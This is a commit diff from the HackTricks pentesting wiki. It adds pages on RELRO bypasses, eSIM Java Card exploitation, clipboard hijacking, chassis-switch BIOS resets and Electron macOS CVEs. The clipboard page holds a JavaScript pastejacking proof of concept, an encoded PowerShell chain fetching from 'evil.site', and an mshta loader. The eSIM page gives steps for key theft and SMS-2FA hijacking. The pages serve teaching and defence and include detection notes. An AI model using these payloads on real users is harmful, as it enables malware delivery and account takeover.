mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' into update_MS-RPC_Fuzzer_20250715_182932
This commit is contained in:
commit
8f171e9a82
@ -28,6 +28,7 @@
|
||||
- [Enable Nexmon Monitor And Injection On Android](generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md)
|
||||
- [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)
|
||||
- [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
|
||||
- [Clipboard Hijacking](generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md)
|
||||
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||
- [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
|
||||
@ -76,6 +77,7 @@
|
||||
# 🧙♂️ Generic Hacking
|
||||
|
||||
- [Brute Force - CheatSheet](generic-hacking/brute-force.md)
|
||||
- [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
|
||||
- [Exfiltration](generic-hacking/exfiltration.md)
|
||||
- [Reverse Shells (Linux, Windows, MSFVenom)](generic-hacking/reverse-shells/README.md)
|
||||
- [MSFVenom - CheatSheet](generic-hacking/reverse-shells/msfvenom.md)
|
||||
|
@ -4,35 +4,106 @@
|
||||
|
||||
## Relro
|
||||
|
||||
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
|
||||
**RELRO** stands for **Relocation Read-Only** and it is a mitigation implemented by the linker (`ld`) that turns a subset of the ELF’s data segments **read-only after all relocations have been applied**. The goal is to stop an attacker from overwriting entries in the **GOT (Global Offset Table)** or other relocation-related tables that are dereferenced during program execution (e.g. `__fini_array`).
|
||||
|
||||
Let's break down the concept into its two distinct types for clarity.
|
||||
Modern linkers implement RELRO by **re–ordering** the **GOT** (and a few other sections) so they live **before** the **.bss** and – most importantly – by creating a dedicated `PT_GNU_RELRO` segment that is remapped `R–X` right after the dynamic loader finishes applying relocations. Consequently, typical buffer overflows in the **.bss** can no longer reach the GOT and arbitrary‐write primitives cannot be used to overwrite function pointers that sit inside a RELRO-protected page.
|
||||
|
||||
### **Partial RELRO**
|
||||
There are **two levels** of protection that the linker can emit:
|
||||
|
||||
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
|
||||
### Partial RELRO
|
||||
|
||||
Note: By default, GCC compiles binaries with Partial RELRO.
|
||||
* Produced with the flag `-Wl,-z,relro` (or just `-z relro` when invoking `ld` directly).
|
||||
* Only the **non-PLT** part of the **GOT** (the part used for data relocations) is put into the read-only segment. Sections that need to be modified at run-time – most importantly **.got.plt** which supports **lazy binding** – remain writable.
|
||||
* Because of that, an **arbitrary write** primitive can still redirect execution flow by overwriting a PLT entry (or by performing **ret2dlresolve**).
|
||||
* The performance impact is negligible and therefore **almost every distribution has been shipping packages with at least Partial RELRO for years (it is the GCC/Binutils default as of 2016)**.
|
||||
|
||||
### **Full RELRO**
|
||||
### Full RELRO
|
||||
|
||||
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
|
||||
* Produced with **both** flags `-Wl,-z,relro,-z,now` (a.k.a. `-z relro -z now`). `-z now` forces the dynamic loader to resolve **all** symbols up-front (eager binding) so that **.got.plt** never needs to be written again and can safely be mapped read-only.
|
||||
* The entire **GOT**, **.got.plt**, **.fini_array**, **.init_array**, **.preinit_array** and a few additional internal glibc tables end up inside a read-only `PT_GNU_RELRO` segment.
|
||||
* Adds measurable start-up overhead (all dynamic relocations are processed at launch) but **no run-time overhead**.
|
||||
|
||||
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
|
||||
Since 2023 several mainstream distributions have switched to compiling the **system tool-chain** (and most packages) with **Full RELRO by default** – e.g. **Debian 12 “bookworm” (dpkg-buildflags 13.0.0)** and **Fedora 35+**. As a pentester you should therefore expect to encounter binaries where **every GOT entry is read-only**.
|
||||
|
||||
It's possible to see if Full RELRO is **enabled** in a binary with:
|
||||
---
|
||||
|
||||
## How to Check the RELRO status of a binary
|
||||
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
$ checksec --file ./vuln
|
||||
[*] '/tmp/vuln'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Full
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
```
|
||||
|
||||
## Bypass
|
||||
`checksec` (part of [pwntools](https://github.com/pwncollege/pwntools) and many distributions) parses `ELF` headers and prints the protection level. If you cannot use `checksec`, rely on `readelf`:
|
||||
|
||||
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
|
||||
```bash
|
||||
# Partial RELRO → PT_GNU_RELRO is present but BIND_NOW is *absent*
|
||||
$ readelf -l ./vuln | grep -E "GNU_RELRO|BIND_NOW"
|
||||
GNU_RELRO 0x0000000000600e20 0x0000000000600e20
|
||||
```
|
||||
|
||||
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
||||
```bash
|
||||
# Full RELRO → PT_GNU_RELRO *and* the DF_BIND_NOW flag
|
||||
$ readelf -d ./vuln | grep BIND_NOW
|
||||
0x0000000000000010 (FLAGS) FLAGS: BIND_NOW
|
||||
```
|
||||
|
||||
If the binary is running (e.g. a set-uid root helper), you can still inspect the executable **via `/proc/$PID/exe`**:
|
||||
|
||||
```bash
|
||||
readelf -l /proc/$(pgrep helper)/exe | grep GNU_RELRO
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Enabling RELRO when compiling your own code
|
||||
|
||||
```bash
|
||||
# GCC example – create a PIE with Full RELRO and other common hardenings
|
||||
$ gcc -fPIE -pie -z relro -z now -Wl,--as-needed -D_FORTIFY_SOURCE=2 main.c -o secure
|
||||
```
|
||||
|
||||
`-z relro -z now` works for both **GCC/clang** (passed after `-Wl,`) and **ld** directly. When using **CMake 3.18+** you can request Full RELRO with the built-in preset:
|
||||
|
||||
```cmake
|
||||
set(CMAKE_INTERPROCEDURAL_OPTIMIZATION ON) # LTO
|
||||
set(CMAKE_ENABLE_EXPORTS OFF)
|
||||
set(CMAKE_BUILD_RPATH_USE_ORIGIN ON)
|
||||
set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,relro,-z,now")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
| RELRO level | Typical primitive | Possible exploitation techniques |
|
||||
|-------------|-------------------|----------------------------------|
|
||||
| None / Partial | Arbitrary write | 1. Overwrite **.got.plt** entry and pivot execution.<br>2. **ret2dlresolve** – craft fake `Elf64_Rela` & `Elf64_Sym` in a writable segment and call `_dl_runtime_resolve`.<br>3. Overwrite function pointers in **.fini_array** / **atexit()** list. |
|
||||
| Full | GOT is read-only | 1. Look for **other writable code pointers** (C++ vtables, `__malloc_hook` < glibc 2.34, `__free_hook`, callbacks in custom `.data` sections, JIT pages).<br>2. Abuse *relative read* primitives to leak libc and perform **SROP/ROP into libc**.<br>3. Inject a rogue shared object via **DT_RPATH**/`LD_PRELOAD` (if environment is attacker-controlled) or **`ld_audit`**.<br>4. Exploit **format-string** or partial pointer overwrite to divert control-flow without touching the GOT. |
|
||||
|
||||
> 💡 Even with Full RELRO the **GOT of loaded shared libraries (e.g. libc itself)** is **only Partial RELRO** because those objects are already mapped when the loader applies relocations. If you gain an **arbitrary write** primitive that can target another shared object’s pages you can still pivot execution by overwriting libc’s GOT entries or the `__rtld_global` stack, a technique regularly exploited in modern CTF challenges.
|
||||
|
||||
### Real-world bypass example (2024 CTF – *pwn.college “enlightened”*)
|
||||
|
||||
The challenge shipped with Full RELRO. The exploit used an **off-by-one** to corrupt the size of a heap chunk, leaked libc with `tcache poisoning`, and finally overwrote `__free_hook` (outside of the RELRO segment) with a one-gadget to get code execution. No GOT write was required.
|
||||
|
||||
---
|
||||
|
||||
## Recent research & vulnerabilities (2022-2025)
|
||||
|
||||
* **glibc 2.40 de-precates `__malloc_hook` / `__free_hook` (2025)** – Most modern heap exploits that abused these symbols must now pivot to alternative vectors such as **`rtld_global._dl_load_jump`** or C++ exception tables. Because hooks live **outside** of RELRO their removal increases the difficulty of Full-RELRO bypasses.
|
||||
* **Binutils 2.41 “max-page-size” fix (2024)** – A bug allowed the last few bytes of the RELRO segment to share a page with writable data on some ARM64 builds, leaving a tiny **RELRO gap** that could be written after `mprotect`. Upstream now aligns `PT_GNU_RELRO` to page boundaries, eliminating that edge-case.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
* Binutils documentation – *`-z relro`, `-z now` and `PT_GNU_RELRO`*
|
||||
* *“RELRO – Full, Partial and Bypass Techniques”* – blog post @ wolfslittlered 2023
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
89
src/generic-hacking/esim-javacard-exploitation.md
Normal file
89
src/generic-hacking/esim-javacard-exploitation.md
Normal file
@ -0,0 +1,89 @@
|
||||
# eSIM / Java Card VM Exploitation
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
Embedded SIMs (eSIMs) are implemented as **Embedded UICC (eUICC)** smart-cards that run a **Java Card Virtual Machine (JC VM)** on top of a secure element.
|
||||
Because profiles and applets can be provisioned *over-the-air* (OTA) via Remote SIM Provisioning (RSP), any memory-safety flaw inside the JC VM instantly becomes a remote code-execution primitive **inside the most privileged component of the handset**.
|
||||
|
||||
This page describes a real-world full compromise of Kigen’s eUICC (Infineon SLC37 ESA1M2, ARM SC300) caused by missing type-safety checks in the `getfield` and `putfield` bytecodes. The same technique can be re-used against other vendors that omit on-card byte-code verification.
|
||||
|
||||
## Attack Surface
|
||||
1. **Remote Application Management (RAM)**
|
||||
eSIM profiles may embed arbitrary Java Card applets. Provisioning is performed with standard APDUs that can be tunnelled through SMS-PP (Short Message Service Point-to-Point) or HTTPS. If an attacker owns (or steals) the **RAM keys** for a profile, they can `INSTALL`/`LOAD` a malicious applet remotely.
|
||||
2. **Java Card byte-code execution**
|
||||
After installation, the applet executes inside the VM. Missing run-time checks allow memory corruption.
|
||||
|
||||
## The Type-Confusion Primitive
|
||||
`getfield` / `putfield` are supposed to operate only on **object references**. In Kigen eUICC the instructions never validate whether the operand on the stack is an *object* or an *array* reference. Because an `array.length` word lives at the exact same offset as the first instance field of a normal object, an attacker can:
|
||||
|
||||
1. Create a byte-array `byte[] buf = new byte[0x100];`
|
||||
2. Cast it to `Object o = (Object)buf;`
|
||||
3. Use `putfield` to overwrite *any* 16-bit value inside an adjacent object (including VTABLE / ptr translation entries).
|
||||
4. Use `getfield` to read *arbitrary* memory once internal pointers are hijacked.
|
||||
|
||||
```java
|
||||
// Pseudo-bytecode sequence executed by the malicious applet
|
||||
// buf = newarray byte 0x100
|
||||
// o = (Object) buf // illegal but not verified
|
||||
// putfield <victimObject+offset>, 0xCAFE // arbitrary write
|
||||
// ... set up read-what-where gadgets ...
|
||||
```
|
||||
The primitive provides **arbitrary read / write** in the eUICC address space – enough to dump the device-unique ECC private key that authenticates the card to the GSMA ecosystem.
|
||||
|
||||
## End-to-End Exploitation Workflow
|
||||
1. **Enumerate firmware** – Use undocumented `GET DATA` item `DF1F`:
|
||||
```
|
||||
80 CA DF 1F 00 // → "ECu10.13" (vulnerable)
|
||||
```
|
||||
2. **Install malicious applet OTA** – Abuse publicly-known keys of the TS.48 Generic Test Profile and push SMS-PP fragments that transport the CAP file (`LOAD`) followed by an `INSTALL`:
|
||||
```
|
||||
// simplified APDU chain
|
||||
80 E6 02 00 <data> // LOAD (block n)
|
||||
80 E6 0C 00 <data> // INSTALL for load
|
||||
```
|
||||
3. **Trigger type-confusion** – When the applet is selected it performs the write-what-where to hijack a pointer table and leak memory through normal APDU responses.
|
||||
4. **Extract GSMA certificate key** – Private EC key is copied to the applet’s RAM and returned in chunks.
|
||||
5. **Impersonate the eUICC** – The stolen key pair + certificates let the attacker authenticate to *any* RSP server as a legitimate card (EID binding may still be required for some operators).
|
||||
6. **Download and modify profiles** – Plaintext profiles contain highly sensitive fields such as `OPc`, `AMF`, OTA keys and even additional applets. The attacker can:
|
||||
* Clone a profile to a second eUICC (voice/SMS hijack);
|
||||
* Patch Java Card applications (e.g. insert STK spyware) before re-uploading;
|
||||
* Extract operator secrets for large-scale abuse.
|
||||
|
||||
## Cloning / Hijacking Demonstration
|
||||
Installing the same profile on **PHONE A** and **PHONE B** results in the Mobile Switching Centre routing incoming traffic to whichever device most recently registered. One session of Gmail 2FA SMS interception is enough to bypass MFA for the victim.
|
||||
|
||||
## Automated Test & Exploit Toolkit
|
||||
The researchers released an internal tool with a `bsc` (*Basic Security Check*) command that immediately shows whether a Java Card VM is vulnerable:
|
||||
```
|
||||
scard> bsc
|
||||
- castcheck [arbitrary int/obj casts]
|
||||
- ptrgranularity [pointer granularity/tr table presence]
|
||||
- locvaraccess [local variable access]
|
||||
- stkframeaccess [stack frame access]
|
||||
- instfieldaccess [instance field access]
|
||||
- objarrconfusion [object/array size field confusion]
|
||||
```
|
||||
Modules shipped with the framework:
|
||||
* `introspector` – full VM and memory explorer (~1.7 MB Java)
|
||||
* `security-test` – generic verification bypass applet (~150 KB)
|
||||
* `exploit` – 100 % reliable Kigen eUICC compromise (~72 KB)
|
||||
|
||||
## Mitigations
|
||||
1. **On-card byte-code verification** – enforce full control-flow & data-flow type tracking instead of stack-top only.
|
||||
2. **Hide array header** – place `length` outside of overlapping object fields.
|
||||
3. **Harden RAM keys policy** – never ship profiles with public keys; disable `INSTALL` in test profiles (addressed in GSMA TS.48 v7).
|
||||
4. **RSP server side heuristics** – rate-limit profile downloads per EID, monitor geographic anomalies, validate certificate freshness.
|
||||
|
||||
## Quick Checklist for Pentesters
|
||||
* Query `GET DATA DF1F` – vulnerable firmware string `ECu10.13` indicates Kigen.
|
||||
* Check if RAM keys are known ‑> attempt OTA `INSTALL`/`LOAD`.
|
||||
* After applet installation, brute-force simple cast primitive (`objarrconfusion`).
|
||||
* Try to read Security Domain private keys – success = full compromise.
|
||||
|
||||
## References
|
||||
- [Security Explorations – eSIM security](https://security-explorations.com/esim-security.html)
|
||||
- [GSMA TS.48 Generic Test Profile v7.0](https://www.gsma.com/get-involved/working-groups/gsma_resources/ts-48-v7-0-generic-euicc-test-profile-for-device-testing/)
|
||||
- [Java Card VM Specification 3.1](https://docs.oracle.com/en/java/javacard/3.1/jc-vm-spec/F12650_05.pdf)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -458,6 +458,14 @@ You can **buy a domain with a very similar name** to the victims domain **and/or
|
||||
|
||||
Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your email is going to end in the spam folder or if it's going to be blocked or successful.
|
||||
|
||||
## Clipboard Hijacking / Pastejacking
|
||||
|
||||
Attackers can silently copy malicious commands into the victim’s clipboard from a compromised or typosquatted web page and then trick the user to paste them inside **Win + R**, **Win + X** or a terminal window, executing arbitrary code without any download or attachment.
|
||||
|
||||
{{#ref}}
|
||||
clipboard-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
|
@ -0,0 +1,96 @@
|
||||
# Clipboard Hijacking (Pastejacking) Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> "Never paste anything you did not copy yourself." – old but still valid advice
|
||||
|
||||
## Overview
|
||||
|
||||
Clipboard hijacking – also known as *pastejacking* – abuses the fact that users routinely copy-and-paste commands without inspecting them. A malicious web page (or any JavaScript-capable context such as an Electron or Desktop application) programmatically places attacker-controlled text into the system clipboard. Victims are encouraged, normally by carefully crafted social-engineering instructions, to press **Win + R** (Run dialog), **Win + X** (Quick Access / PowerShell), or open a terminal and *paste* the clipboard content, immediately executing arbitrary commands.
|
||||
|
||||
Because **no file is downloaded and no attachment is opened**, the technique bypasses most e-mail and web-content security controls that monitor attachments, macros or direct command execution. The attack is therefore popular in phishing campaigns delivering commodity malware families such as NetSupport RAT, Latrodectus loader or Lumma Stealer.
|
||||
|
||||
## JavaScript Proof-of-Concept
|
||||
|
||||
```html
|
||||
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
|
||||
<button id="fix" onclick="copyPayload()">Fix the error</button>
|
||||
<script>
|
||||
function copyPayload() {
|
||||
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
|
||||
navigator.clipboard.writeText(payload)
|
||||
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
Older campaigns used `document.execCommand('copy')`, newer ones rely on the asynchronous **Clipboard API** (`navigator.clipboard.writeText`).
|
||||
|
||||
## The ClickFix / ClearFake Flow
|
||||
|
||||
1. User visits a typosquatted or compromised site (e.g. `docusign.sa[.]com`)
|
||||
2. Injected **ClearFake** JavaScript calls an `unsecuredCopyToClipboard()` helper that silently stores a Base64-encoded PowerShell one-liner in the clipboard.
|
||||
3. HTML instructions tell the victim to: *“Press **Win + R**, paste the command and press Enter to resolve the issue.”*
|
||||
4. `powershell.exe` executes, downloading an archive that contains a legitimate executable plus a malicious DLL (classic DLL sideloading).
|
||||
5. The loader decrypts additional stages, injects shellcode and installs persistence (e.g. scheduled task) – ultimately running NetSupport RAT / Latrodectus / Lumma Stealer.
|
||||
|
||||
### Example NetSupport RAT Chain
|
||||
|
||||
```powershell
|
||||
powershell -nop -w hidden -enc <Base64>
|
||||
# ↓ Decodes to:
|
||||
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
|
||||
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
|
||||
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
|
||||
```
|
||||
|
||||
* `jp2launcher.exe` (legitimate Java WebStart) searches its directory for `msvcp140.dll`.
|
||||
* The malicious DLL dynamically resolves APIs with **GetProcAddress**, downloads two binaries (`data_3.bin`, `data_4.bin`) via **curl.exe**, decrypts them using a rolling XOR key `"https://google.com/"`, injects the final shellcode and unzips **client32.exe** (NetSupport RAT) to `C:\ProgramData\SecurityCheck_v1\`.
|
||||
|
||||
### Latrodectus Loader
|
||||
|
||||
```
|
||||
powershell -nop -enc <Base64> # Cloud Identificator: 2031
|
||||
```
|
||||
|
||||
1. Downloads `la.txt` with **curl.exe**
|
||||
2. Executes the JScript downloader inside **cscript.exe**
|
||||
3. Fetches an MSI payload → drops `libcef.dll` besides a signed application → DLL sideloading → shellcode → Latrodectus.
|
||||
|
||||
### Lumma Stealer via MSHTA
|
||||
|
||||
```
|
||||
mshta https://iplogger.co/xxxx =+\\xxx
|
||||
```
|
||||
|
||||
The **mshta** call launches a hidden PowerShell script that retrieves `PartyContinued.exe`, extracts `Boat.pst` (CAB), reconstructs `AutoIt3.exe` through `extrac32` & file concatenation and finally runs an `.a3x` script which exfiltrates browser credentials to `sumeriavgv.digital`.
|
||||
|
||||
## Detection & Hunting
|
||||
|
||||
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
|
||||
|
||||
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` keeps a history of **Win + R** commands – look for unusual Base64 / obfuscated entries.
|
||||
* Security Event ID **4688** (Process Creation) where `ParentImage` == `explorer.exe` and `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
|
||||
* Event ID **4663** for file creations under `%LocalAppData%\Microsoft\Windows\WinX\` or temporary folders right before the suspicious 4688 event.
|
||||
* EDR clipboard sensors (if present) – correlate `Clipboard Write` followed immediately by a new PowerShell process.
|
||||
|
||||
## Mitigations
|
||||
|
||||
1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
|
||||
2. Security awareness – teach users to *type* sensitive commands or paste them into a text editor first.
|
||||
3. PowerShell Constrained Language Mode / Execution Policy + Application Control to block arbitrary one-liners.
|
||||
4. Network controls – block outbound requests to known pastejacking and malware C2 domains.
|
||||
|
||||
## Related Tricks
|
||||
|
||||
* **Discord Invite Hijacking** often abuses the same ClickFix approach after luring users into a malicious server:
|
||||
{{#ref}}
|
||||
discord-invite-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
|
||||
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -14,46 +14,107 @@ In cases where the BIOS password is unknown, entering it incorrectly **three tim
|
||||
|
||||
For modern systems using **UEFI** instead of traditional BIOS, the tool **chipsec** can be utilized to analyze and modify UEFI settings, including the disabling of **Secure Boot**. This can be accomplished with the following command:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
```bash
|
||||
python chipsec_main.py -module exploits.secure.boot.pk
|
||||
```
|
||||
|
||||
### RAM Analysis and Cold Boot Attacks
|
||||
---
|
||||
|
||||
## RAM Analysis and Cold Boot Attacks
|
||||
|
||||
RAM retains data briefly after power is cut, usually for **1 to 2 minutes**. This persistence can be extended to **10 minutes** by applying cold substances, such as liquid nitrogen. During this extended period, a **memory dump** can be created using tools like **dd.exe** and **volatility** for analysis.
|
||||
|
||||
### Direct Memory Access (DMA) Attacks
|
||||
---
|
||||
|
||||
## Direct Memory Access (DMA) Attacks
|
||||
|
||||
**INCEPTION** is a tool designed for **physical memory manipulation** through DMA, compatible with interfaces like **FireWire** and **Thunderbolt**. It allows for bypassing login procedures by patching memory to accept any password. However, it's ineffective against **Windows 10** systems.
|
||||
|
||||
### Live CD/USB for System Access
|
||||
---
|
||||
|
||||
## Live CD/USB for System Access
|
||||
|
||||
Changing system binaries like **_sethc.exe_** or **_Utilman.exe_** with a copy of **_cmd.exe_** can provide a command prompt with system privileges. Tools such as **chntpw** can be used to edit the **SAM** file of a Windows installation, allowing password changes.
|
||||
|
||||
**Kon-Boot** is a tool that facilitates logging into Windows systems without knowing the password by temporarily modifying the Windows kernel or UEFI. More information can be found at [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Handling Windows Security Features
|
||||
---
|
||||
|
||||
#### Boot and Recovery Shortcuts
|
||||
## Handling Windows Security Features
|
||||
|
||||
### Boot and Recovery Shortcuts
|
||||
|
||||
- **Supr**: Access BIOS settings.
|
||||
- **F8**: Enter Recovery mode.
|
||||
- Pressing **Shift** after the Windows banner can bypass autologon.
|
||||
|
||||
#### BAD USB Devices
|
||||
### BAD USB Devices
|
||||
|
||||
Devices like **Rubber Ducky** and **Teensyduino** serve as platforms for creating **bad USB** devices, capable of executing predefined payloads when connected to a target computer.
|
||||
|
||||
#### Volume Shadow Copy
|
||||
### Volume Shadow Copy
|
||||
|
||||
Administrator privileges allow for the creation of copies of sensitive files, including the **SAM** file, through PowerShell.
|
||||
|
||||
### Bypassing BitLocker Encryption
|
||||
---
|
||||
|
||||
## Bypassing BitLocker Encryption
|
||||
|
||||
BitLocker encryption can potentially be bypassed if the **recovery password** is found within a memory dump file (**MEMORY.DMP**). Tools like **Elcomsoft Forensic Disk Decryptor** or **Passware Kit Forensic** can be utilized for this purpose.
|
||||
|
||||
### Social Engineering for Recovery Key Addition
|
||||
---
|
||||
|
||||
## Social Engineering for Recovery Key Addition
|
||||
|
||||
A new BitLocker recovery key can be added through social engineering tactics, convincing a user to execute a command that adds a new recovery key composed of zeros, thereby simplifying the decryption process.
|
||||
|
||||
---
|
||||
|
||||
## Exploiting Chassis Intrusion / Maintenance Switches to Factory-Reset the BIOS
|
||||
|
||||
Many modern laptops and small-form-factor desktops include a **chassis-intrusion switch** that is monitored by the Embedded Controller (EC) and the BIOS/UEFI firmware. While the primary purpose of the switch is to raise an alert when a device is opened, vendors sometimes implement an **undocumented recovery shortcut** that is triggered when the switch is toggled in a specific pattern.
|
||||
|
||||
### How the Attack Works
|
||||
|
||||
1. The switch is wired to a **GPIO interrupt** on the EC.
|
||||
2. Firmware running on the EC keeps track of the **timing and number of presses**.
|
||||
3. When a hard-coded pattern is recognised, the EC invokes a *mainboard-reset* routine that **erases the contents of the system NVRAM/CMOS**.
|
||||
4. On next boot, the BIOS loads default values – **supervisor password, Secure Boot keys, and all custom configuration are cleared**.
|
||||
|
||||
> Once Secure Boot is disabled and the firmware password is gone, the attacker can simply boot any external OS image and obtain unrestricted access to the internal drives.
|
||||
|
||||
### Real-World Example – Framework 13 Laptop
|
||||
|
||||
The recovery shortcut for the Framework 13 (11th/12th/13th-gen) is:
|
||||
|
||||
```text
|
||||
Press intrusion switch → hold 2 s
|
||||
Release → wait 2 s
|
||||
(repeat the press/release cycle 10× while the machine is powered)
|
||||
```
|
||||
|
||||
After the tenth cycle the EC sets a flag that instructs the BIOS to wipe NVRAM at the next reboot. The whole procedure takes ~40 s and requires **nothing but a screwdriver**.
|
||||
|
||||
### Generic Exploitation Procedure
|
||||
|
||||
1. Power-on or suspend-resume the target so the EC is running.
|
||||
2. Remove the bottom cover to expose the intrusion/maintenance switch.
|
||||
3. Reproduce the vendor-specific toggle pattern (consult documentation, forums, or reverse-engineer the EC firmware).
|
||||
4. Re-assemble and reboot – firmware protections should be disabled.
|
||||
5. Boot a live USB (e.g. Kali Linux) and perform usual post-exploitation (credential dumping, data exfiltration, implanting malicious EFI binaries, etc.).
|
||||
|
||||
### Detection & Mitigation
|
||||
|
||||
* Log chassis-intrusion events in the OS management console and correlate with unexpected BIOS resets.
|
||||
* Employ **tamper-evident seals** on screws/covers to detect opening.
|
||||
* Keep devices in **physically controlled areas**; assume that physical access equals full compromise.
|
||||
* Where available, disable the vendor “maintenance switch reset” feature or require an additional cryptographic authorisation for NVRAM resets.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [Pentest Partners – “Framework 13. Press here to pwn”](https://www.pentestpartners.com/security-blog/framework-13-press-here-to-pwn/)
|
||||
- [FrameWiki – Mainboard Reset Guide](https://framewiki.net/guides/mainboard-reset)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -429,6 +429,25 @@ You could abuse this env variable in a plist to maintain persistence adding thes
|
||||
The previous techniques will allow you to run **JS code inside the process of the electron application**. However, remember that the **child processes run under the same sandbox profile** as the parent application and **inherit their TCC permissions**.\
|
||||
Therefore, if you want to abuse entitlements to access the camera or microphone for example, you could just **run another binary from the process**.
|
||||
|
||||
## Notable Electron macOS Vulnerabilities (2023-2024)
|
||||
|
||||
### CVE-2023-44402 – ASAR integrity bypass
|
||||
|
||||
Electron ≤22.3.23 and various 23-27 pre-releases allowed an attacker with write access to the `.app/Contents/Resources` folder to bypass the `embeddedAsarIntegrityValidation` **and** `onlyLoadAppFromAsar` fuses. The bug was a *file-type confusion* in the integrity checker that let a crafted **directory named `app.asar`** be loaded instead of the validated archive, so any JavaScript placed inside that directory was executed when the app started. Even vendors that had followed the hardening guidance and enabled both fuses were therefore still vulnerable on macOS.
|
||||
|
||||
Patched Electron versions: **22.3.24**, **24.8.3**, **25.8.1**, **26.2.1** and **27.0.0-alpha.7**. Attackers who find an application running an older build can overwrite `Contents/Resources/app.asar` with their own directory to execute code with the application’s TCC entitlements.
|
||||
|
||||
### 2024 “RunAsNode” / “enableNodeCliInspectArguments” CVE cluster
|
||||
|
||||
In January 2024 a series of CVEs (CVE-2024-23738 through CVE-2024-23743) highlighted that many Electron apps ship with the fuses **RunAsNode** and **EnableNodeCliInspectArguments** still enabled. A local attacker can therefore relaunch the program with the environment variable `ELECTRON_RUN_AS_NODE=1` or flags such as `--inspect-brk` to turn it into a *generic* Node.js process and inherit all the application’s sandbox and TCC permissions.
|
||||
|
||||
Although the Electron team disputed the “critical” rating and noted that an attacker already needs local code–execution, the issue is still valuable during post-exploitation because it turns any vulnerable Electron bundle into a *living-off-the-land* binary that can e.g. read Contacts, Photos or other sensitive resources previously granted to the desktop app.
|
||||
|
||||
Defensive guidance from the Electron maintainers:
|
||||
|
||||
* Disable the `RunAsNode` and `EnableNodeCliInspectArguments` fuses in production builds.
|
||||
